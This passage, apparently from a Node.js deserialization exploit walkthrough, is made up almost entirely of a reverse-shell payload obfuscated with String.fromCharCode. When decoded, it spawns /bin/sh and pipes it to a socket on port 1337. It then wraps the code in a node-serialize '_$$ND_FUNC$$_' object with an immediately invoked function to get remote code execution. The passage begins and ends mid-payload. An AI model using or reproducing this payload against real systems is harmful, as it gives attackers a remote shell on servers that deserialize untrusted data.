49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,4
8,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103
,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,6
1,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,11
0,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,3
2,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,1
14,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,3
2,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,8
4,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32
,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,3
2,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,
83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,3
2,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,1
04,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114
,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,
32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,11
6,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,11
6,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,1
15,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,
41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,1
02,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,12
3,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68
,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,3
2,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,
46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,
101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,
40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,3
2,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
Now let’s generate the serialized payload and add IIFE brackets () after the
function body.
{"rce":"_$$ND_FUNC$$_function (){
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101
,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,1
12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1
08,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,1
0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3
4,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1
05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112
,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,
61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,
116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,
110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105
,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,1
10,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,
125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82